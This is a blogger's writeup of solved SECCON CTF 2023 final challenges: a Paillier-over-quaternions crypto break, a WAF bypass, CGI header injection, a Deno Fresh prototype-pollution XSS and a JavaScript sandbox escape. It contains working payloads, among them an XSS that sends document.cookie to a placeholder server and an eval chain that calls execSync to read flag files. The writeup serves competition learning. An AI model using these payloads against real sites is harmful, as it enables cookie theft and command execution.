SECCON CTF 2023 Final Writeups

發表於
分類於 CTF
This article is LLM-translated by GPT-4o, so the translation may be inaccurate or complete. If you find any mistake, please let me know.

This time, as a member of ${cYsTiCk}, I went to Japan to participate in the SECCON CTF finals from 12/23-12/24. However, since I stayed there for two more weeks and then lazed around at home for another week, I only just remembered to write a writeup XD. In this writeup, I will only cover the challenges that I mainly solved. For the others, you can check out my teammate’s article.

crypto

Pailler 4.0

import os
from dataclasses import dataclass
from secrets import randbelow
from typing import Optional

from Crypto.Util.number import bytes_to_long, getPrime

from sage.algebras.quatalg.quaternion_algebra_element import QuaternionAlgebraElement_generic


@dataclass
class Pubkey:
    n: int
    g: QuaternionAlgebraElement_generic

    def __repr__(self) -> str:
        return "n = {self.n}\ng = {self.g}"  # Oh, I forgot f-string...


@dataclass
class Privkey:
    l: int
    pubkey: Pubkey

    @classmethod
    def generate(cls, pbits: int = 1024) -> "Privkey":
        p = getPrime(pbits)
        q = getPrime(pbits)
        n = p * q
        Q = QuaternionAlgebra(Zmod(n**2), -1, -1)
        g = 1 + Q.random_element() * n
        l = lcm(p - 1, q - 1)
        return Privkey(l=l, pubkey=Pubkey(n=n, g=g))

    def export_pubkey(self) -> Pubkey:
        return Pubkey(n=self.pubkey.n, g=self.pubkey.g)


class Paillier:
    def __init__(self, privkey: Optional[Privkey], pubkey: Pubkey) -> None:
        self.privkey = privkey
        self.pubkey = pubkey

    @classmethod
    def from_privkey(cls, privkey: Privkey) -> "Paillier":
        return Paillier(privkey=privkey, pubkey=privkey.export_pubkey())

    @classmethod
    def from_pubkey(cls, pubkey: Pubkey) -> "Paillier":
        return Paillier(privkey=None, pubkey=pubkey)

    def encrypt(self, m: int):
        n = self.pubkey.n
        g = self.pubkey.g
        assert 1 <= m < n
        return g**m * pow(randbelow(n**2), n, n**2)

    def L(self, u: QuaternionAlgebraElement_generic):
        n = self.pubkey.n
        g = self.pubkey.g
        Q = g.parent()
        i, j, k = Q.gens()
        return (
            int(u[0] - 1) // n
            + int(u[1]) // n * i
            + int(u[2]) // n * j
            + int(u[3]) // n * k
        )

    def decrypt(self, c):
        if self.privkey is None:
            raise RuntimeError("privkey is not defined")
        n = self.pubkey.n
        g = self.pubkey.g
        l = self.privkey.l
        Q = g.parent()
        i, j, k = Q.gens()
        tmp = self.L(c**l) * self.L(g**l) ** -1
        return (
            int(tmp[0] % n)
            + int(tmp[1] % n) * i
            + int(tmp[2] % n) * j
            + int(tmp[3] % n) * k
        )


if __name__ == "__main__":
    privkey = Privkey.generate(1024)
    pubkey = privkey.export_pubkey()
    print(pubkey)
    paillier = Paillier.from_privkey(privkey)
    m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
    m2 = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
    c1 = paillier.encrypt(m1)
    c2 = paillier.encrypt(m2)
    print(f"{c1 = }")
    print(f"{c2 = }")

This is a problem involving Paillier encryption with quaternions in Z/n2Z\mathbb{Z}/n^2\mathbb{Z}. Since it doesn’t provide gg and nn, we need to figure them out first.

First, note that g=1+qng=1+qn, and observe that it is 1modn1 \bmod{n}. The ciphertext c=gmrc=g^m r is also rmodnr \bmod{n}. Since rZ/n2Zr \in \mathbb{Z}/n^2\mathbb{Z}, the i,j,ki,j,k components of cc will be 0modn0 \bmod{n}, so we can recover nn using gcd.

Given a known plaintext m1m_1 and the flag m2m_2 with ciphertexts c1,c2c_1, c_2, we can deduce r1r_1 from c1r1(modn)c_1 \equiv r_1 \pmod{n}, and then use m1m_1 to backtrack to get the original g=(c1r11)1/m1g=(c_1 r_1^{-1})^{1/m_1}.

Next, the provided L function is the same as the original Paillier, using the property (1+qn)m1+qmn(modn2)(1+qn)^m \equiv 1+qmn \pmod{n^2} to calculate the discrete log. Thus, we can use the same method to find r2r_2 and apply the L function to get m2m_2.

from Crypto.Util.number import *

i, j, k = QuaternionAlgebra(QQ, -1, -1).gens()
c1 = (
    189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
    + 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
    * i
    + 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
    * j
    + 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
    * k
)
c2 = (
    86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
    + 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
    * i
    + 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
    * j
    + 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
    * k
)

n1 = gcd(gcd(c1[1], c1[2]), c1[3])
n2 = gcd(gcd(c2[1], c2[2]), c2[3])
n = int(gcd(n1, n2))
print(n)

i, j, k = QuaternionAlgebra(Zmod(n**2), -1, -1).gens()
c1 = (
    189146596689678534930657507389944284468488107240288605909197912201660856998268595857044483126765254204607561979667696823780094323605831173341131185451095827961974657320699801365535892652008629810492631319120676225694026021921473865863024969368910303696390015562430421049349114071773991177762773464679316870980876977686666855807332186848058678245373535005961682370552677053861029506581913980110373827901307233179244235202243031174173512515361800009857253300114079167816860057026075343836378542262536740363654132714971319930425403814111676892852082395558608670902630424317844748964279418048832907526306028619221958527742640786665813521788876170444556529860805085876769718758658671148365899678266785037483417326933260674320990814096707344631269313345501026674224091995002566546845812920972238704671529403192559802762074971627065020510369861068450614373478551819439697293240682440543948239483530476534310358291243899391023912588729055117972281759671793056180654218529502864409430851949645496003060620073997323651251418800006269638163922513847640920427464158479039359553243353188432374057727068915052795264913158336903153651169982577420892740945177282968764703805878728995869936258865320888806665158381666989783279873384467290795689854113
    + 159422453855839107969569050043111924378782512353662158097555530081065228239439150228804622489649734610074362158985473003354221851138418990789843575296473276995526434929421772247473565690114755816821848591281095238123387694109768501184937676517954202256920282987407499465504050296677413105358981123505518685105550180839694143745462914884741297306408583180764594750474787331278709883082457865068681533863559465700892859712589251625506033665577735140860828872174451058783234015868867785828962375739377763524670263494963751526040731027426300994670706114402103689783786516275326935940214423441678176308546728625674451381910316503231282898509560474012828864195580399386226905804415491610241049432673790249460289600738049671068987752876442486436729340418527359135900888369281879772473979747201333185180609387675576752892765354956616458099191011185104019183060864284006871921299407664180437341866001050750005470292132586820399436117963937861063882759907457400890935676136272800725704694983718578284459089871138394761488709761247421563190927061411874151193939617535173468856456146032540817642092476790385832012750987821835704394191508225176683766249213060401912800486859625016591155866280688072763525710527297989127521010127433165478830941817
    * i
    + 187623816199491298929359182934085226415070915256202587324993994923281509773462861079689635893814873291883739439631895995019843365698225877873129060282579872095656155797235671453812960164842775969497855145376019034353214142234929838983495429753411675088233825923109926989151980954600726857923746492644378131880521765527613689926608367600914462828146507912615962951977005207914108826513118567119842148736574975619033628056063174491506828930626401152179456114077790384110260925763362057554193522341161444642415672425967265445119110122988483213369137437528699354992414173792355682379549151745141424595354031052213553312720413049508425634081960409132168458626444177310841834360058702543282950271135554721532965478215318870453959765465954657746116251578964196637358799826880168701508894356927569344736897502699965702265443381644905562901690655292307405703622427007033019235783542646988807629337886727319863632752491616033522045295663481494683759467480952931817747495594299026330913717415571754297422928091598496370877736297815866959021544309548121905263216441406709476821439234356234706057117326291506583297717031984509505422493821869111060952894078828939060421661081486444197327339800174022825222595603630105833989855525645422085730674564
    * j
    + 108983832324298911213259107877413932946363222090021725824918906056215745302344420551204152231953729651169827978022341384921363268398863382842767641583469828560829815026849233122683970345772500535043316957591130641837866960704879727012137376610770020525841179712472063136667679110398730347242964281862081661521053599896797669209505444363840146338899663555883984646457358923987569487024071313633576757768768817706060883698724823167271778010848182708077407382439629779354954282990536565649220692045379924761967467614268986295830964173640529377522633216514323962693861739695620703200405765094125260029042426346110145892492750560269547608428943171799274041760027341512550373527388410918043906894068241463637804244867735784670531920830427644772678282293033315500463081788329363287536393697637504953775578394372137098033761764675304328956899198452407492013747106406193303367851430716384001567253558105344516962055539711765876022918579274453806342647159866874122105836627519222785409300831622024331926259832994621579381838393969640739647674914856843673465538468722740357164013024604891572811759995849705986784685354791575945252814432692980150793094758286455471240703326750705134680002007552172212048492713711296343411989751556616097691472886
    * k
)
c2 = (
    86219718266904761398669400869850246784979375496030637035288295353189453067766725033422476038896248982241100669461661297802396978010746153640029767262870320897194919490826132305901873187423033699178088010951277367251496838717058535820404506883970041012368716101389488127250260245101472029452131360335437760537762538487771297840257043319368858446525491231801822266893408542561691924321234377663038077154890676142691375455698618357010611398164565760941981743010051093925210687645019434438534456537037742256714240599815459686418722187615193759703721367665787215521067929853700537753302391198777519129734661993648921740240357025798798706760243777604671957311915626478425526896553420143154032082593440771887256202026017154984732830890447276281770696548102554648916038622905603861367237151535066602702621935453593146737973794330996087634650833572538883360270301384985003603283310102960915654703731536039508294268354748154322515620117950356046993722827561878865915964021290101324112092056360488260632904393442087541370097356165904797972786650982394809499420695141565901862666037208421294834181894635588110829281254139866214589789937604876710559894531773693513253615384678625195339656902456917325250361282804135326827093351532459760601839428
    + 117054910725352927152954707158545932567372361642285004993114012986829421306179984070148177646729931523282578663731756845490868840124859732416249534497296591658577429815841323784653557664286060526584920474641678611491154052977907087762970527833374328722933082141137952738249521548630555294927021597379676715564873946701751229456740753076037446249661183932191707005143775324621425132715548146998548361658766985025165556120105739877724488495557082489885983738028638417642106757781493694229677197625754998579507288085495746440044951052143778688968468424843237961423717593401897115614902734926783906666127800456081501383424175585031033145674849111649138772893539198722278630438976076814107039077450496425454293336255754967196215581548880976066132130961108306387082335423133634754616580736864413539696735238789195673624113132920602408936492608097637718193827226672537917838822521233982679217313380722619714529225002533498709991277566125656295648047828882775579398531344170522575799766494302252389832871526177828308927401118825488943352391675934025045942416116887512805600627175873583536950820991752455514294168386808344591770738525214186851727668357035105477909941209200336263341123944810521631781066674601689604189825431920483646305959585
    * i
    + 92345257110099358724431302312369402163330316382555448933909585233861251186510957204549115902867389772165678173559996028911980257862633715040688322898905423998255567564599598071097809537111423173973036470534222529337844682911982824638473091384071409274922662970946165921061951939942298978319289884098189085890294063185559808951684858963604173045559882719018822278488749762751794384294285983285955342173932281432331257764645484597656120974857428513672990550775470434748333246481999528041929685439321287460410615808078730042412677621841202237965311169407832871645441374815638746696619772089752127329254711373179036589534609668994277492120692090878598825983907313436148623503677406409697422234464304764296352912448876077041244056566202211554497434768706424310036087086161073559877149782469427246116961563251003701361319094692924942237807482264735015230259929819553855417042319416469221085994715569600300005650823896406786465198528505570768223321803202284506227367545420384756419029295204861272269263450781302874115717621510203092484552663439084207772409785606480255709458029081686718743144992333376307430207101396779094139623571139183550543447450301735278962985132368289625009256101657583838683799786443358949988515696800564025119116609
    * j
    + 122488568601402784451819032638780912895128169996737548955267892210865529500117097756916051234140403362941640967296275011258430454026954532827911984707868161093903490372306430402098822794181913222580715537461028856010232195747240764866904393429104960026870206602923056757241151894408163703517729550859962949893716021499073123229401788259785010482000899688648483047499137591135359341058204846634872446500949129415734308674619419298447343637826761796808390241385451759091274776830675731278219386457219839641683452586176761545289098461146228441907615640923642607634309424610616780306442009740253419466232056306312602052844095851382222227944901310658313126015474732679472765960186488315614268404874359834789433523786077436241976025907449925177263698751668541669935898577422622350071130782232751861016037733261383458204466069764928709376487097930236316358028420462969105771243038438013059257534537751023566706602384544332305621521947855047465105701790105297243424012536440482412328095810045412182269600181269831588582004165149999616680304894629360268885452104970486463954411395189633450307352197153316124500262183798809005094000245516105050216614590136434328536196583595010243277807391452050728021474145863981530042039541913753951040294031
    * k
)


def L(n, g, u):
    Q = g.parent()
    i, j, k = Q.gens()
    return (
        int(u[0] - 1) // n
        + int(u[1]) // n * i
        + int(u[2]) // n * j
        + int(u[3]) // n * k
    )


m1 = bytes_to_long(b"I have implemented Paillier 4.0. Can you break it?")
r1 = c1[0] % n
Gm = c1 * inverse_mod(r1, n**2)
g = Gm ** inverse_mod(m1, n)

r2 = c2[0] % n
Gm = c2 * inverse_mod(r2, n**2)
rec_m = (L(n, g, Gm)[1] / L(n, g, g)[1]) % n
print(long_to_bytes(int(rec_m)))
# SECCON{Please help me to improve and make it secure, Paillier 4.1...}

web

babywaf

This challenge has a proxy:

const app = require("fastify")();
const PORT = 3001;

app.register(require("@fastify/http-proxy"), {
  upstream: "http://localhost:3000",
  preValidation: async (req, reply) => {
    // WAF???
    try {
      const body =
        typeof req.body === "object" ? req.body : JSON.parse(req.body);
      if ("givemeflag" in body) {
        reply.send("🚩");
      }
    } catch {}
  },
  replyOptions: {
    rewriteRequestHeaders: (_req, headers) => {
      console.log(headers);
      headers["content-type"] = "application/json";
      return headers;
    },
  },
});

app.listen({ port: PORT, host: "0.0.0.0" });

and a backend:

const express = require("express");
const fs = require("fs/promises");

const app = express();
const PORT = 3000;

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

app.use(express.json());

app.post("/", async (req, res) => {
  if ("givemeflag" in req.body) {
    res.send(FLAG);
  } else {
    res.status(400).send("🤔");
  }
});

app.get("/", async (_req, res) => {
  const html = await fs.readFile("index.html");
  res.type("html").send(html);
});

app.listen(PORT);

The goal is to send a key with givemeflag in the body to the backend.

Initially, I read the fastify source code and found that Content-Type can only be application/json or text/plain. After some experiments, I discovered that using text/plain + Content-Encoding: deflate allows me to bypass the check.

However, the problem is that fastify internally processes data using JavaScript strings, so regular binary data gets messed up due to UTF-16 issues. Therefore, I needed to generate pure ASCII deflate data. I modified Arusekk/ascii-zip to generate ASCII deflate data for the specified JSON.

You can refer to the complete payload in this gist.

However, according to the author’s writeup, the intended solution was to exploit the fact that both fastify and express accept JSON + BOM, but JSON.parse does not accept BOM.

cgi-2023

go backend:

package main

import (
	"fmt"
	"net/http"
	"net/http/cgi"
	"strings"
)

func main() {
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		if q := r.URL.Query().Get("q"); q != "" && !strings.Contains(strings.ToLower(q), "status") {
			fmt.Print(q)
		}

		flag, err := r.Cookie("FLAG")
		if err != nil {
			fmt.Fprint(w, "Hello gophers👋")
		} else {
			fmt.Fprint(w, flag.Value)
		}
	})

	cgi.Serve(nil)
}

apache config:

LoadModule cgid_module modules/mod_cgid.so

ServerName main
Listen 3000

ScriptAliasMatch / /usr/local/apache2/cgi-bin/index.cgi
AddHandler cgi-script .cgi
CGIDScriptTimeout 1

Header always set Content-Security-Policy "default-src 'none';"

This is an interesting CGI challenge where the goal is to leak the bot’s flag cookie. The key is that CGI communicates via stdout, so fmt.Print(q) allows us to inject headers and body. However, due to CSP, we can’t execute JS. My approach was to inject Content-Security-Policy-Report-Only with script-sample and use <style> to leak the flag. But due to the HTTP status line and content type being too long, it couldn’t include the flag within 40 characters.

http://web:3000/?q=Content-Security-Policy-Report-Only:%20default-src%20%27report-sample%27%3B%20report-uri%20https://MY_SERVER/xx%0aContent-Type:text/html%3Bcharset=utf-16%0a%0a%3C%00s%00t%00y%00l%00e%00%3E%00

At this point, I wondered if characters referred to bytes or something else. So I added Content-Type: text/html; charset=utf-16, and my server received a string of UTF-16 gibberish. Knowing that it was actually a bunch of ASCII (or UTF-8) bytes interpreted as UTF-16, I used Python to convert it and got the flag:

s = "\u4553\u4343\u4e4f\u6c7b\u6165\u796b\u735f\u6972"  # script-sample
print(s.encode('utf-16'))
# SECCON{leaky_sri}

In theory, using utf-32 should allow leaking up to 160 bytes of data.

However, my solution was unintended. The author’s intended solution was to use CSP + SRI hash to leak the flag.

Another solution was to use %0d to bypass the status check and then use 100 Continue or 103 Early Hints to bypass the CSP header added by Apache.

LemonMD

This challenge involves Deno Fresh (~= Next.js for Deno), which displays markdown on a page:

import type { Signal } from "@preact/signals";
import { render } from "$gfm";

interface PreviewProps {
  text: Signal<string>;
}

export default function Preview(props: PreviewProps) {
  return (
    <div
      class="markdown-body"
      dangerouslySetInnerHTML={{ __html: render(props.text.value) }}
    />
  );
}

combined with

import type { Handlers, PageProps } from "$fresh/server.ts";
import { useSignal } from "@preact/signals";
import Preview from "../islands/Preview.tsx";
import db from "../utils/db.ts";
import redirect from "../utils/redirect.ts";

interface Data {
  text: string;
}

export const handler: Handlers = {
  async GET(_req, ctx) {
    const id = ctx.params.id;
    const text = db.getById(id);
    return text == null ? redirect("/") : await ctx.render({ text });
  },
};

export default function Page(props: PageProps<Data>) {
  const text = useSignal(props.data.text);
  return <Preview text={text}></Preview>;
}

The $gfm here is https://deno.land/x/gfm@0.2.5/mod.ts, and it uses sanitize-html to filter out some things after converting to HTML. So, unless you find a 0day, direct XSS is not possible.

The key is that Deno Fresh is an SSR framework, so the HTML in dangerouslySetInnerHTML is directly included in the server’s returned HTML. For example, hello **world** would be rendered as:

	<body>
		<main>
			<!--frsh-preview_default:0:-->
			<div class="markdown-body">
				<p>hello <strong>world</strong></p>
			</div>
			<!--/frsh-preview_default:0:-->
		</main>
		<script id="__FRSH_STATE" type="application/json" nonce="1b7e34cbcf524db4b89fd024e2876562">
			{ "v": [[{ "text": { "_f": "s", "v": "hello **world**\r\n" } }], []] }
		</script>
		<script type="module" nonce="1b7e34cbcf524db4b89fd024e2876562">
			import { deserialize } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/deserializer.js'
			import { signal } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/signals.js'
			const ST = document.getElementById('__FRSH_STATE').textContent
			const STATE = deserialize(ST, signal)
			import { revive } from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/main.js'
			import preview_default from '/_frsh/js/6de11cfced006cb5eaab66ed35809a90158c4cf5/island-preview.js'
			const propsArr = typeof STATE !== 'undefined' ? STATE[0] : []
			revive({ preview_default: preview_default }, propsArr)
		</script>
	</body>

Notice that the rendered content is above __FRSH_STATE, so maybe we can use DOM clobbering, especially since the function is called deserialize, which looks problematic. After finding deserialize, I quickly discovered a prototype pollution:

<h1 id="__FRSH_STATE">
{
    "r":[
        [
            [1,0,"val1"],
            ["__proto__","__proto__","a"]
        ]
    ],
    "v":[
        [
            {"text":{"_f":"s","v":"aaa"}}
        ],
        [
            {"val1": 123}
        ]
    ]
}
</h1>

Then Object.prototype.a === 123, so we just need to find a prototype pollution gadget.

Testing a bit, I found that the SSR-rendered content is actually just a cache, and it still calls deno-gfm on the client side to convert markdown to HTML. Therefore, by polluting disableHtmlSanitization, we can disable deno-gfm’s HTML sanitization and achieve XSS.

<h1 id="__FRSH_STATE">
{
    "r":[
        [
            [1,0,"val1"],
            ["__proto__","__proto__","disableHtmlSanitization"]
        ]
    ],
    "v":[
        [
            {"text":{"_f":"s","v":"asd\u003ciframe srcdoc='\u003cscript\u003elocation.href=`//MY_SERVER/flag?`+document.cookie\u003c/script\u003e'\u003e\u003c/iframe\u003e"}}
        ],
        [
            {"val1": true}
        ]
    ]
}
</h1>
// SECCON{Do_not_m1x_HTML_injecti0n_and_I5lands_Archit3cture}

misc

whitespace.js

const WHITESPACE = " ";

const code = [...process.argv[2].trim()].join(WHITESPACE);
if (code.includes("(") || code.includes(")")) {
  console.log("Do not call functions :(");
  process.exit();
}

try {
  console.log(eval(code));
} catch {
  console.log("Error");
}

This challenge inserts a lot of whitespace characters into the code you input, and if there are no parentheses, it evals the code.

First, you can easily construct some simple characters, like a='a'[1]; becomes a = ' a ' [ 1 ] ;, and then use [][c+o+n+s+t+r+u+c+t+u+r+e] to try to call Function for eval. However, after many attempts, I couldn’t achieve it, so I switched to another approach.

Here, I used the Function constructor to create a function that reads its own caller, which is the common JS wrapper function. From the arguments above, we can read require and module. However, since require and Module._load only accept strings, we can’t arbitrarily require modules yet.

We can’t require, but I found a Module.runMain function. By clearing Module._cache and calling it, it re-executes the main module. Therefore, if we can control Array.prototype.join to return any string and override String.prototype.includes, we can achieve arbitrary eval.

Later, I read st98’s writeup (“2度目の呼び出し” section) and found that you can directly call the common JS wrapper function again XD

Bypassing includes is simple; just set String.prototype.includes = Function(''). The more complex part is controlling code.

I achieved this by setting Array.prototype.join = RegExp.prototype.toString and then overriding Array.prototype.source and Array.prototype.flags. This works because RegExp.prototype.toString essentially does return `/${this.source}/${this.flags}`;.

st98’s method is different; he used String.prototype.trim = Array.prototype.concat to disable the join whitespace.

Putting it all together, we can solve this challenge:

$$ = s => [...s].join('+')
input =
	"a='a'[1];b='b'[1];c='c'[1];d='d'[1];e='e'[1];f='f'[1];g='g'[1];h='h'[1];i='i'[1];j='j'[1];k='k'[1];l='l'[1];m='m'[1];n='n'[1];o='o'[1];p='p'[1];q='q'[1];r='r'[1];s='s'[1];t='t'[1];u='u'[1];v='v'[1];w='w'[1];x='x'[1];y='y'[1];z='z'[1];A='A'[1];B='B'[1];C='C'[1];D='D'[1];E='E'[1];F='F'[1];G='G'[1];H='H'[1];I='I'[1];J='J'[1];K='K'[1];L='L'[1];M='M'[1];N='N'[1];O='O'[1];P='P'[1];Q='Q'[1];R='R'[1];S='S'[1];T='T'[1];U='U'[1];V='V'[1];W='W'[1];X='X'[1];Y='Y'[1];Z='Z'[1];_='_'[1];" +
	"點='.'[1];空='';斜='/'[1];分=';'[1];引=\"'\"[1];星='*'[1];" +
	`函=[][${$$('constructor')}][${$$('constructor')}];` +
	`暫=函\`\`+'';左=暫[9+9];右=暫[9+9+2];` +
	`暫=函\`C=暫[${$$('caller')}]\`;暫\`\`;取=C[${$$('arguments')}][1];模=C[${$$('arguments')}][2];` +
	`""[${$$('__proto__')}][${$$('includes')}]=函\`\`;` +
	`[][${$$('__proto__')}][${$$('source')}]=${$$(
		'a斜分require左引child_process引右點execSync左引cat空斜f星引右點toString左右斜'
	)};` +
	`[][${$$('__proto__')}][${$$('flags')}]=空;` +
	`[][${$$('__proto__')}][${$$('join')}]=/x/[${$$('__proto__')}][${$$('toString')}][${$$('bind')}]\`\`;` +
	`摩=模[${$$('constructor')}];摩[${$$('_cache')}]={};摩[${$$('runMain')}][${$$('call')}]\`\`;`

code = [...input.trim()].join(' ')
console.log(code)
if (code.includes('(') || code.includes(')')) {
	console.log('Do not call functions :(')
	process.exit()
}

console.log(eval(code))

fetch('http://whitespace-js.int.seccon.games:3000/', {
	headers: {
		'Content-Type': 'application/json'
	},
	method: 'POST',
	body: JSON.stringify({ expr: input })
})
	.then(r => r.text())
	.then(console.log)

// SECCON{P4querett3_Down_the_Bunburr0ws}

The author’s solution Ark’s writeup is similar to mine, using RegExp to construct strings, but he directly calls Function``, so the array is automatically converted to a string, making the function body controllable.

Thoughts

This was my first time traveling abroad with a small team to participate in a competition, and we were lucky to win third place. It was a memorable experience. On the first day, I didn’t solve any challenges, so the ones above were solved on the first night and during the second day of the competition. The pressure was quite high when I couldn’t solve anything initially, but after solving one challenge, things started to go smoothly, and we achieved this result. Overall, the challenges were difficult, and many had very interesting ideas, making it a worthwhile competition.

However, the two-day competition was just a small part of my two-week stay in Japan. After the competition, I visited Yokohama and Kamakura outside Tokyo for a few days, then returned to Tokyo for New Year’s Eve and shrine visits (and Akihabara and arcade games). If possible, I hope to participate in the competition and have some fun again in 2024.